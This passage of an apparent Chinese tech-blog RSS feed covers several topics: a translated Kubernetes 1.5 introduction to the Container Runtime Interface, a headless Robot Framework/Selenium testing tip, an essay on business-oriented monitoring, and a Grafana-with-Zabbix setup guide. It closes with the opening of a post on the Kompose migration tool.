&lt;p&gt;每一种容器运行时都有其长处，因此不少用户希望 Kubernetes 能够支持更多的运行时。在 Kubernetes 1.5 中，我们引入了 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/blob/242a97307b34076d5d8f5bbeb154fa4d97c9ef1d/docs/devel/container-runtime-interface.md&#34; target=&#34;_blank&#34;&gt;CRI&lt;/a&gt;，这一插件接口让 Kubernetes 无需重新编译就可以使用更多的容器运行时。CRI 包含 &lt;a href=&#34;https://developers.google.com/protocol-buffers/&#34; target=&#34;_blank&#34;&gt;Protocol Buffers&lt;/a&gt;、&lt;a href=&#34;http://www.grpc.io/&#34; target=&#34;_blank&#34;&gt;gRPC API&lt;/a&gt;、以及&lt;a href=&#34;https://github.com/kubernetes/kubernetes/blob/release-1.5/pkg/kubelet/server/streaming/server.go&#34; target=&#34;_blank&#34;&gt;运行库&lt;/a&gt;支持，还有尚在开发的标准规范和工具。 CRI 在 &lt;a href=&#34;http://blog.kubernetes.io/2016/12/kubernetes-1.5-supporting-production-workloads.html&#34; target=&#34;_blank&#34;&gt;Kubernetes 1.5&lt;/a&gt; 中发布了 Alpha 版本。&lt;/p&gt;

&lt;p&gt;可替代的容器运行时支持是 Kubernetes 中的新概念。在 1.3 时，我们发布了 &lt;a href=&#34;http://blog.kubernetes.io/2016/07/rktnetes-brings-rkt-container-engine-to-Kubernetes.html&#34; target=&#34;_blank&#34;&gt;rktnetes&lt;/a&gt; 项目，让 &lt;a href=&#34;https://github.com/coreos/rkt&#34; target=&#34;_blank&#34;&gt;rkt 容器引擎&lt;/a&gt; 成为 Docker 之外的又一选择。然而不管是 Docker 还是 rkt，都是用的 Kubelet 的内部接口，同 Kubelet 源码纠缠不清。这种程度的集成，需要对 Kubelet 内部机制有非常深入的了解，还会给社区带来管理压力。这样就给新生代容器运行时造成了难于跨越的集成壁垒。我们用清晰定义的抽象层清除了这一壁垒，让开发者能够专注于容器运行时本身。在通向插件式容器支持以及建设健康生态环境的路上，这是一小步，也是重要的一步。&lt;/p&gt;

&lt;h2 id=&#34;cri-概览&#34;&gt;CRI 概览&lt;/h2&gt;

&lt;p&gt;Kubelet 使用 gRPC 框架利用 Unix socket 同容器运行时（或者是 CRI 代理）进行通信，这一过程中 Kubelet 是客户端，CRI 代理是服务端。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/overview.png&#34; alt=&#34;OVERVIEW&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Protocol Buffers &lt;a href=&#34;https://github.com/kubernetes/kubernetes/blob/release-1.5/pkg/kubelet/api/v1alpha1/runtime/api.proto&#34; target=&#34;_blank&#34;&gt;API&lt;/a&gt; 包含两个 gRPC 服务，&lt;code&gt;ImageService&lt;/code&gt; 和 &lt;code&gt;RuntimeService&lt;/code&gt;。&lt;code&gt;ImageService&lt;/code&gt; 提供从仓库拉取镜像、查看和移除镜像的功能。&lt;code&gt;RuntimeService&lt;/code&gt; 包含了对 Pod 和容器的生命周期管理、和容器的交互（ exec/attach/port-forward ）。rtk 和 Docker 这样的容器运行时可以利用一个 Socket 同时提供两个服务。在 Kubelet 中可以用 &lt;code&gt;--container-runtime-endpoint&lt;/code&gt; 和 &lt;code&gt;--image-service-endpoint&lt;/code&gt; 参数设置这个 socket。&lt;/p&gt;

&lt;h2 id=&#34;pod-和容器的生命周期管理&#34;&gt;Pod 和容器的生命周期管理&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;service RuntimeService {
    // Sandbox operations.
    rpc RunPodSandbox(RunPodSandboxRequest) returns (RunPodSandboxResponse) {}
    rpc StopPodSandbox(StopPodSandboxRequest) returns (StopPodSandboxResponse) {}
    rpc RemovePodSandbox(RemovePodSandboxRequest) returns (RemovePodSandboxResponse) {}
    rpc PodSandboxStatus(PodSandboxStatusRequest) returns (PodSandboxStatusResponse) {}
    rpc ListPodSandbox(ListPodSandboxRequest) returns (ListPodSandboxResponse) {}
    // Container operations.
    rpc CreateContainer(CreateContainerRequest) returns (CreateContainerResponse) {}
    rpc StartContainer(StartContainerRequest) returns (StartContainerResponse) {}
    rpc StopContainer(StopContainerRequest) returns (StopContainerResponse) {}
    rpc RemoveContainer(RemoveContainerRequest) returns (RemoveContainerResponse) {}
    rpc ListContainers(ListContainersRequest) returns (ListContainersResponse) {}
    rpc ContainerStatus(ContainerStatusRequest) returns (ContainerStatusResponse) {}
    ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Pod 由一组应用容器组成，其中包含了共有的环境和资源约束。在 CRI 里，这个环境被称为 &lt;code&gt;PodSandbox&lt;/code&gt;。我们有意的给容器运行时留下了一些发挥空间，他们可以根据自己的内部实现来解释 &lt;code&gt;PodSandbox&lt;/code&gt;。对于 Hypervisor 类的运行时，&lt;code&gt;PodSandbox&lt;/code&gt; 会具体化为一个虚拟机。其他的例如 Docker，会是一个 Linux 命名空间。在 v1alpha1 API 中，Kubelet 会创建 Pod 级别的 cgroup 传递给容器运行时，并以此运行所有进程来保障 PodSandbox 对 Pod 的资源保障。&lt;/p&gt;

&lt;p&gt;在启动 Pod 之前，Kubelet 调用 &lt;code&gt;RuntimeService.RunPodSandbox&lt;/code&gt; 来创建环境。这一过程包括为 Pod 设置网络（分配 IP）。&lt;code&gt;PodSandbox&lt;/code&gt; 激活之后，就可以独立的创建、启动、停止和删除不同的容器了。Kubelet 会在停止和删除 &lt;code&gt;PodSandbox&lt;/code&gt; 之前首先停止和删除其中的容器。&lt;/p&gt;

&lt;p&gt;Kubelet 的职责在于通过 RPC 管理容器的生命周期，实现容器生命周期的钩子，以及存活和健康监测，执行 Pod 的重启策略等。&lt;/p&gt;

&lt;h2 id=&#34;为什么-cri-是围绕容器进行的&#34;&gt;为什么 CRI 是围绕容器进行的？&lt;/h2&gt;

&lt;p&gt;Kubernetes 有一个 Pod 资源的接口。我们曾经可能采用的一个 CRI 的设计就是抽象复用 Pod 对象，容器运行时就可以自行实现自己的控制逻辑和状态转换，这样一来，就能极大地简化 API，让 CRI 能够更广泛的适用于多种容器运行时。但是经过深入讨论之后，我们放弃了这一想法。&lt;/p&gt;

&lt;p&gt;首先，Kubelet 有很多的 Pod 级功能和机制（例如循环崩溃的处理），交给容器运行时实现的话，会造成很重的负担；第二，更重要的是，Pod 标准还在高速前进。很多的新功能（例如容器初始化）是由 Kubelet 直接管理容器的，而无需容器运行时进行变更。&lt;/p&gt;

&lt;p&gt;CRI 选择了围绕容器进行实现，这样容器运行时能够共享这些通用特性，获得更好的开发进度。这并不意味着我们设计哲学的改变 —— Kubelet 要负责保证实际状态和声明状态的一致性。&lt;/p&gt;

&lt;h3 id=&#34;exec-attach-port-forward-请求&#34;&gt;Exec/attach/port-forward 请求&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-go&#34;&gt;service RuntimeService {
    ...
    // ExecSync runs a command in a container synchronously.
    rpc ExecSync(ExecSyncRequest) returns (ExecSyncResponse) {}
    // Exec prepares a streaming endpoint to execute a command in the container.
    rpc Exec(ExecRequest) returns (ExecResponse) {}
    // Attach prepares a streaming endpoint to attach to a running container.
    rpc Attach(AttachRequest) returns (AttachResponse) {}
    // PortForward prepares a streaming endpoint to forward ports from a PodSandbox.
    rpc PortForward(PortForwardRequest) returns (PortForwardResponse) {}
    ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubernetes 为用户提供了和 Pod 以及其中的容器进行交互的能力（&lt;code&gt;kubectl exec/attach/port-forward&lt;/code&gt;）。Kubelet 目前支持两种方式来支持这些功能：调用容器的本地方法，或者使用 Node 上的工具（例如 &lt;code&gt;nsenter&lt;/code&gt; 以及 &lt;code&gt;socat&lt;/code&gt;）。因为多数工具假设 Pod 利用 Linux namespace 做了隔离，因此使用 Node 上的工具并不是一个可移植的方案。在 CRI 中，我们显式的定义这些调用，让运行时可以做特定实现。&lt;/p&gt;

&lt;p&gt;当下还有一个潜在问题是，Kubelet 处理所有的请求连接，所以他有成为 Node 通信瓶颈的可能。在设计 CRI 的时候，我们采纳了一些反馈，让运行时能够排除中间人。容器运行时可以启动一个单独的流服务器处理请求（还能为 Pod 的资源使用进行记录），并把服务器地址返回给 Kubelet。这样 Kubelet 就能反馈信息给 API Server，使之可以直接连接到容器运行时的服务，并连接到客户端。&lt;/p&gt;

&lt;p&gt;CRI 还有很多本文没有提及的内容，可以参考&lt;a href=&#34;https://github.com/kubernetes/community/blob/master/contributors/devel/container-runtime-interface.md#design-docs-and-proposals&#34; target=&#34;_blank&#34;&gt;设计文档&lt;/a&gt;来获得更多内容。&lt;/p&gt;

&lt;h2 id=&#34;当前状态&#34;&gt;当前状态&lt;/h2&gt;

&lt;p&gt;虽然 CRI 还比较初级，但也已经有了很多项目在尝试把各种容器运行时纳入 CRI：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/kubernetes-incubator/cri-o&#34; target=&#34;_blank&#34;&gt;cri-o&lt;/a&gt;：OCI 兼容运行时&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/kubernetes-incubator/rktlet&#34; target=&#34;_blank&#34;&gt;rktlet&lt;/a&gt;：rkt 容器运行时。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/kubernetes/frakti&#34; target=&#34;_blank&#34;&gt;frakti&lt;/a&gt;：基于 hypervisor 的容器运行时。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/kubernetes/kubernetes/tree/release-1.5/pkg/kubelet/dockershim&#34; target=&#34;_blank&#34;&gt;Docker CRI 代理&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果对这些运行时感兴趣，可以浏览一下他们的仓库，获取最新的进展情况和相关资料。&lt;/p&gt;

&lt;p&gt;开发者如果有兴趣集成新的容器运行时，需要阅读&lt;a href=&#34;https://github.com/kubernetes/community/blob/master/contributors/devel/container-runtime-interface.md&#34; target=&#34;_blank&#34;&gt;开发者指南&lt;/a&gt;，会在这里得到 API 中已知的限制和问题。我们乐于从早期开发者这里获取反馈，加以改进来促进项目成长。开发者需要有对突发故障的心理准备，谁让我们还在 Alpha 呢。&lt;/p&gt;

&lt;h2 id=&#34;尝试新的-cri-docker&#34;&gt;尝试新的 CRI Docker&lt;/h2&gt;

&lt;p&gt;Kubelet 还没有把 CRI 作为缺省选项，我们正在积极促成这一转变。第一步就是用 CRI 的方式重新对 Docker 进行 Kubelet 的集成。在 1.5 中，我们让 Kubelet 开始支持 CRI，还给 Kubelet 加入了内嵌的 Docker CRI 代理。这样 Kubelet 就可以启动 Docker 的 gRPC 服务了。要尝试新的 Kubelet-CRI-Docker 集成，只需要简单的给 API-Server 参数加上 &lt;code&gt;--feature-gates=StreamingProxyRedirects=true&lt;/code&gt; 开关，就启用了新的请求重定向特性，然后用 &lt;code&gt;--experimental-cri=true&lt;/code&gt; 开关来启动 Kubelet。&lt;/p&gt;

&lt;p&gt;虽说现在的实现还有少量&lt;a href=&#34;https://github.com/kubernetes/community/blob/master/contributors/devel/container-runtime-interface.md#docker-cri-integration-known-issues&#34; target=&#34;_blank&#34;&gt;功能缺失&lt;/a&gt;，不过已经通过了主要的端到端测试，我们计划扩展测试覆盖范围，也再次邀请社区多多提供反馈来促进我们的工作。&lt;/p&gt;

&lt;h2 id=&#34;minikube-和-cri&#34;&gt;Minikube 和 CRI&lt;/h2&gt;

&lt;p&gt;如果想要测试新功能，却没时间部署新的测试集群。&lt;a href=&#34;https://github.com/kubernetes/minikube&#34; target=&#34;_blank&#34;&gt;Minikube&lt;/a&gt; 让你能够快速的启动一个本地集群。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;检查可用的 Kubernetes 版本，选择最新的 1.5.x，这里使用的是 v1.5.9-beta.1：&lt;code&gt;minikube get-k8s-versions&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;启动一个带有内置 Docker CRI 集成的 Minikube 集群：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ minikube start --kubernetes-version=v1.5.0-beta.1  \
--extra-config=kubelet.EnableCRI=true \
--network-plugin=kubenet \
--extra-config=kubelet.PodCIDR=10.180.1.0/24 \
--iso-url=http://storage.googleapis.com/minikube/iso/buildroot/minikube-v0.0.6.iso
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;--extra-config=kubelet.EnableCRI=true&lt;/code&gt; 启用 Kubelet 的 CRI 实现，&lt;code&gt;--network-plugin=kubenet&lt;/code&gt; 和 &lt;code&gt;--extra-config=kubelet.PodCIDR=10.180.1.0/24&lt;/code&gt; 为网络插件提供了网络设置，分配 PodCIDR 给 Node。这里也可以使用 &lt;code&gt;cni&lt;/code&gt; 插件，就无需依赖 PodCIDR 了。&lt;code&gt;--iso-url&lt;/code&gt; 给 Minikube 指定一个例子中使用的 ISO 镜像。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;检查 Minikube 日志，确认 CRI 的启用&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ minikube logs | grep EnableCRI
I1209 01:48:51.150789    3226 localkube.go:116] Setting EnableCRI to true on kubelet.
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建一个 Pod 并检查状态，应该会看到 &amp;ldquo;SandboxReceived&amp;rdquo; 事件，这表明 Kubelet 正在使用 CRI&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl run foo --image=gcr.io/google_containers/pause-amd64:3.0
deployment &amp;quot;foo&amp;quot; created
$ kubectl describe pod foo
...
... From                Type   Reason          Message
... -----------------   -----  --------------- -----------------------------
...{default-scheduler } Normal Scheduled       Successfully assigned foo-141968229-v1op9 to minikube
...{kubelet minikube}   Normal SandboxReceived Pod sandbox received, it will be created.
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;注意 &lt;code&gt;kubectl attach/exec/port-forward&lt;/code&gt; 目前还不能对启用 CRI 模式的 Miniqube 生效，&lt;a href=&#34;https://github.com/kubernetes/minikube/issues/896&#34; target=&#34;_blank&#34;&gt;新版本&lt;/a&gt;将会加入支持。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;相关引用&#34;&gt;相关引用&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CRI&lt;/strong&gt;：&lt;code&gt;https://github.com/kubernetes/kubernetes/blob/242a97307b34076d5d8f5bbeb154fa4d97c9ef1d/docs/devel/container-runtime-interface.md&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cri-o&lt;/strong&gt;：&lt;code&gt;https://github.com/kubernetes-incubator/cri-o&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;rktlet&lt;/strong&gt;：&lt;code&gt;https://github.com/kubernetes-incubator/rktlet&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;frakti&lt;/strong&gt;：&lt;code&gt;https://github.com/kubernetes/frakti&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker CRI 代理&lt;/strong&gt;：&lt;code&gt;https://github.com/kubernetes/kubernetes/tree/release-1.5/pkg/kubelet/dockershim&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Robotframework &#43; selenium2library 实现 Headless 模式的 Web 功能测试</title>
      <link>/post/robotframework-selenium2library-for-headless-test/</link>
      <pubDate>Tue, 20 Dec 2016 07:18:13 +0800</pubDate>
      <guid>/post/robotframework-selenium2library-for-headless-test/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;今天来点小技巧凑个数。
感谢健哥提供的 Hello world 样本。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;之前因为做一些 CI/CD 的尝试，做了个要你命三千一样的 Jenkins 镜像（docker pull dustise/jenkins），其中包含了 Maven、Sornar Scanner、Robot Framework 以及 Git/Subversion、Kubectl 等一系列的相关工具。&lt;/p&gt;

&lt;p&gt;一旦用起来，测试的兄弟发现了个大问题，基于 selenium2library 的页面功能测试无法完成了，回头一想，镜像里面压根没有浏览器，怎么可能执行浏览器测试呢。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;首先就要安装浏览器了，我这里选择了 FireFox。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install -y firefox&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;为了让 selenium2library 能够同 FireFox 互动，还需要 geckodriver 的支持，这个软件提供了 WebDriver 协议所需的 HTTP API，能够和 FireFox 这样的 Gecko 浏览器进行通信。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wget -O - https://github.com/mozilla/geckodriver/releases/download/v0.11.1/geckodriver-v0.11.1-linux64.tar.gz | tar xzf - --directory=/usr/local/bin&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;下载后生成的可执行文件需要放置在 &lt;code&gt;$PATH&lt;/code&gt; 里，以便被 selenium 调用。&lt;/p&gt;

&lt;p&gt;接下来，为了自动测试的需要，要在 Headless 的情况下运行 FireFox，这里又需要 xvfb 的支持，简单的使用 &lt;code&gt;apt-get install -y xvfb&lt;/code&gt; 就可以了。&lt;/p&gt;

&lt;p&gt;这个包带有一个 xvfb-run 命令，其功能是在虚拟 X 服务器环境下运行命令。&lt;/p&gt;

&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;

&lt;p&gt;首先我们生成一个 /tmp/test.robot 文件，内容如下&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;*** Settings ***
Library           Selenium2Library

*** Test Cases ***
testHelloWorld
    open browser    http://www.qq.com    firefox
    maximize browser window
    page should contain    0755
    [Teardown]    close browser
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;测试目的很简单，看 &lt;code&gt;http://www.qq.com&lt;/code&gt; 中有没有 &amp;ldquo;0755&amp;rdquo; 这个字符串。&lt;/p&gt;

&lt;p&gt;接下来用 robot 运行：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;xvfb-run robot sample.robot&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;网络通畅的情况下，会得到类似这样的结果。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;==============================================================================
Sample
==============================================================================
testHelloWorld                                                        | PASS |
------------------------------------------------------------------------------
Sample                                                                | PASS |
1 critical test, 1 passed, 0 failed
1 test total, 1 passed, 0 failed
==============================================================================
Output:  /output.xml
Log:     /log.html
Report:  /report.html
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同时会生成三个结果文件供后续分析。&lt;/p&gt;

&lt;p&gt;上述安装内容移植 Docker Build 过程中，就能够构造出用于 Web 功能测试的 Jenkins Node 了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>监控随想，业务和迭代</title>
      <link>/post/monitoring-business-and-sprints/</link>
      <pubDate>Thu, 15 Dec 2016 00:56:05 +0800</pubDate>
      <guid>/post/monitoring-business-and-sprints/</guid>
      <description>

&lt;h2 id=&#34;其实我不知道我在说啥&#34;&gt;其实我不知道我在说啥*&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;These services are built around business capabilities and independently deployable by fully automated deployment machinery.&lt;/p&gt;

&lt;p&gt;&amp;lt; Microservices &amp;gt; By Matin fowler&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;如 Matin 大爷所言，微服务的两个重要特征：面向业务和自动化。随着微服务架构的普及和深入，每一个线上业务都是由为数众多的独立运行的微服务协作完成的。加之容器、云计算等技术的引进使用，自动化工具链也加入战团，这一切情况的叠加，使得一个具体业务的整个生命周期所涉及的 IT 资产数量不断膨胀，并且微服务化带来的快速变更，原有的按照网域、按照应用类型等监控 Screen 的定义方式越来越难跟上业务需求，运维监控这一分支的技术工作成为背锅侠的风险越来越大。&lt;/p&gt;

&lt;p&gt;目前见过的几个的监控方式，有几个共同点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;自发：有啥用啥，基于监控软件系统所提供的指标，结合个人经验，形成的主机和监控指标列表，以及建筑其上的 Graph、Screen 等。&lt;/li&gt;
&lt;li&gt;独立：基础设施和构建其上的业务系统之间呈割裂状态，监控方面各行其是，甚至是业务和基础设施分别由不同的系统进行监控。忽略了底层到上层的实际联系。&lt;/li&gt;
&lt;li&gt;断层：和开发团队不同，现有的很多监控技术的实现，并没有明确的知识管理、版本控制等技术传承手段，一定程度上影响了监控方面整体能力的成长。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;对于一个长期存在并演进的项目来说，开发和监控都是这一产品生命周期的必要组成部分，换个角度来看监控，和很多业务系统一样，都是基于一个较大的基础系统之上进行配置和开发。如果从软件开发的方法来看待监控的话，这些问题似乎就不难解决了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;监控系统应该有明确的需求&#34;&gt;监控系统应该有明确的需求&lt;/h2&gt;

&lt;p&gt;监控事实上应该作为系统的功能性需求的常备部分，其中需要明确列出需要完成的业务指标和技术指标监控能力，对于不同类型的主机、集群和业务，应该有标准化的指标、图形和 Screen 组合（pattern/template）。&lt;/p&gt;

&lt;p&gt;为增强易用性，还应该对监控图形展示、指标组合关系以及递进关系，做出适合展示和系统排错的设计。&lt;/p&gt;

&lt;p&gt;例如一个短信系统，其短信队列的长度就是一个关键的业务指标，如果发送队列的长度持续增长，代表业务积压，对应的外部调用量、数据库压力、容器数量、南向接口响应时间等相关指标如果能够同屏呈现，无疑会同时给运营和运维极大助力。&lt;/p&gt;

&lt;h2 id=&#34;监控系统也有架构&#34;&gt;监控系统也有架构&lt;/h2&gt;

&lt;p&gt;一般来说对于系统的监控是比较直接的，通常都有比较成熟的解决方法：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;监控系统自带的指标和模板&lt;/li&gt;
&lt;li&gt;软件厂商、开源社区等第三方指标和模板&lt;/li&gt;
&lt;li&gt;SNMP 等第三方通用协议的接入&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;而对于业务的监控就个性得多，也复杂得多了。对业务量的度量经常会使用到侵入式的检测方法，比如直接访问业务数据库，会遇到很多软件开发部署过程中的类似问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;网络连通性：比如到数据库主机的连通性、到监控 Server、Proxy 的连通性等&lt;/li&gt;
&lt;li&gt;系统负载：对监控服务器、数据库、日志等的使用所造成的系统压力&lt;/li&gt;
&lt;li&gt;环境依赖：例如 Python 版本和模块、某些 Shell 命令&lt;/li&gt;
&lt;li&gt;数据管理：数据的采集频率、转换、存储以及清理&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如上所述，一个成熟的对系统的监控工作，其涉猎范围并不小于业务系统本身，不难理解，如此范围的功能叠加，没有适当的设计和实现过程，失控是可以预见的必然趋势，最终结果就是起不到&lt;strong&gt;应有的预警和复盘&lt;/strong&gt;的能力，甚至对业务系统的运行造成干扰。&lt;/p&gt;

&lt;h2 id=&#34;监控系统的代码管理&#34;&gt;监控系统的代码管理&lt;/h2&gt;

&lt;p&gt;这里的代码二字，除了监控中使用的 SQL 和各种语言的脚本之外，还应该有针对监控平台的一些能够代码化的配置内容。&lt;/p&gt;

&lt;p&gt;软件开发过程中常用到的分支、合并、Tag 等开发代码管理、甚至配置管理的技巧在这里同样适用。&lt;/p&gt;

&lt;h2 id=&#34;监控系统的持续改进&#34;&gt;监控系统的持续改进&lt;/h2&gt;

&lt;p&gt;上文提到种种，无非是为了说明，监控具有完整的生命周期，对业务系统的重要性自然也是不言而喻；运作健康良好的监控系统，需要有持续的智力投入，和其他业务功能一样，监控系统也是有具体的持续优化和演进的需要。&lt;/p&gt;

&lt;p&gt;这里可以参考软件开发中的敏捷方法，来建立初步的监控开发内容。&lt;/p&gt;

&lt;h2 id=&#34;主动的监控&#34;&gt;主动的监控&lt;/h2&gt;

&lt;p&gt;总而言之，成熟的业务项目需要成熟的监控系统，作为项目中的重要技术组成部分，监控系统同样需要与时俱进、谋定后动。主动跟进架构演进，主动发现问题，业务视角会是监控工作的几个潜在的重要目标。&lt;/p&gt;

&lt;p&gt;而随着监控系统的持续改进，数据关系的深入挖掘，监控系统将有助于系统故障的早期发现和预警，事后的复盘和故障的排除，业务的整体展现都会产生极大的帮助。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Grafana 的新瓶，Zabbix 的酒</title>
      <link>/post/grafana-and-zabbix/</link>
      <pubDate>Fri, 02 Dec 2016 05:16:01 +0800</pubDate>
      <guid>/post/grafana-and-zabbix/</guid>
      <description>

&lt;p&gt;&lt;img src=&#34;images/dashboard.png&#34; alt=&#34;zabbix-grafana&#34; /&gt;&lt;/p&gt;

&lt;p&gt;近期声名鹊起的 Grafana，终于拉了年老色衰的 Zabbix 一把，提供了 Zabbix 数据源插件，让 Zabbix 得以改头换面（画外音：洒家这下有机会上大屏幕了吧？）闲话少叙，言归正传：&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;这里采用 Docker Hub 中的 Grafana Latest 镜像直接运行 Grafana：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh
docker run -d -p 3000:3000 \
    --name=grafana \
    -v /var/lib/grafana:/var/lib/grafana \
    -e &amp;quot;GF_SECURITY_ADMIN_PASSWORD=secret&amp;quot; \
    grafana/grafana
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一启动脚本开放主机的 3000 端口作为 Grafana 的服务端口；将本机的 /var/lib/grafana 映射到容器同一目录，用于存储本地数据，admin 密码设置为 &amp;ldquo;secret&amp;rdquo;。&lt;/p&gt;

&lt;p&gt;下载和启动容器之后，会生成名为 grafana 的容器实例，利用 exec 命令安装插件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;docker exec  grafana grafana-cli plugins install alexanderzobnin-zabbix-app
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装之后，需要重新启动容器来识别插件，可以简单粗暴的使用 docker 的 kill 和 rm 来实现。&lt;/p&gt;

&lt;p&gt;完成了重启，就可以在浏览器访问 Grafana 了。使用账号 admin 和之前设置的密码登录系统。&lt;/p&gt;

&lt;p&gt;访问菜单 &lt;code&gt;plug-ins --&amp;gt; app&lt;/code&gt;，应该会看到 Zabbix 插件，点击 enable 按钮，启用。&lt;/p&gt;

&lt;h2 id=&#34;配置&#34;&gt;配置&lt;/h2&gt;

&lt;h3 id=&#34;数据源&#34;&gt;数据源&lt;/h3&gt;

&lt;p&gt;访问主菜单的 &lt;code&gt;Datasource&lt;/code&gt; ，添加新的数据源。这里可以设置 Zabbix 为缺省数据源。类型自然是选择新出现的 &lt;code&gt;zabbix&lt;/code&gt; 类型了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/gz-datasource.png&#34; alt=&#34;datasource&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意 URL 部分需要在后面加上 &lt;code&gt;api_jsonrpc.php&lt;/code&gt; 作为访问入口。填好用户名密码，其他不变即可。&lt;/p&gt;

&lt;p&gt;点击 Save &amp;amp; Test 按钮测试并保存数据源设置。&lt;/p&gt;

&lt;h3 id=&#34;缺省-dashboard&#34;&gt;缺省 Dashboard&lt;/h3&gt;

&lt;p&gt;随插件自带了两个 Dashboard，在&lt;strong&gt;配置好数据源之后&lt;/strong&gt;，回到 Zabbix 插件的配置页面，点击 Dashboard 右侧的 Re-import 按钮。&lt;/p&gt;

&lt;h3 id=&#34;新建-dashboard&#34;&gt;新建 Dashboard&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;选择主菜单中 &lt;code&gt;Dashboard --&amp;gt; New&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;新建一个 Graph。点击新的 Graph 对象，在弹出的工具栏中选择 Edit。&lt;/li&gt;
&lt;li&gt;这里就出现了选择指标的编辑区

&lt;ul&gt;
&lt;li&gt;General 页可以对标题等进行设置&lt;/li&gt;
&lt;li&gt;Metric 页中可以对指标进行管理，例如下图展示了如何新建一个可用内存的指标：&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/gz-metric-add.png&#34; alt=&#34;memory metric&#34; /&gt;&lt;/p&gt;

&lt;p&gt;每个 Panel 都可以合并多个 Metrics，在 Dashboard 中也可以对 panel 进行排列组合，达到美观实用的目的。&lt;/p&gt;

&lt;h2 id=&#34;查看&#34;&gt;查看&lt;/h2&gt;

&lt;p&gt;现在就可以在首页的 Dashboard 中查看系统自带的两个 Dashboard，以及我们新建的 My Dashboard 了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kompose: Docker-compose 到 Kubernetes 的迁移工具</title>
      <link>/post/kompose-compose-to-kubernetes/</link>
      <pubDate>Wed, 23 Nov 2016 09:26:57 +0800</pubDate>
      <guid>/post/kompose-compose-to-kubernetes/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2016/11/kompose-tool-go-from-docker-compose-to-kubernetes&#34; target=&#34;_blank&#34;&gt;Kompose: a tool to go from Docker-compose to Kubernetes&lt;/a&gt;&lt;/p&gt;

